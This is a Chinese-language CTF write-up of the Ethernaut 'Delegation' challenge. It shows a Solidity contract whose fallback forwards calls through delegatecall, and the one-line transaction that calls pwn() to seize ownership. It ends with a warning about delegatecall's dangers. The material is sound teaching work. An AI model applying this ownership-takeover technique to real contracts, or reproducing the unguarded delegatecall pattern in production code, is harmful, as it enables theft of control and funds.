跳转至

6.Delegation

题目描述

img

解题过程

题目源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

首先先理解 call函数 与 delegatecall函数 的区别

call函数 外部调用时上下文是外部合约
delegatecall函数 外部调用时上下文是调用合约

img

可以简单理解为 合约A通过 Delegatecall 调用合约B的方法时,相当于将该方法复制到 合约A 运行

img

data 头4个 byte 是被调用方法的签名哈希bytes4(keccak256("func"))
实际是向合约账户地址发送了 msg.data[0:4] == 函数签名哈希 的一笔交易

所以我们只需要像合约发送data, 来调用 pwn() 方法

await contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)});

img

根据交易hash 也可以看到调用方法细节

img

使用delegatecall 是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 "看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧". 代理对你合约的状态有完全的控制权. delegatecall 函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心.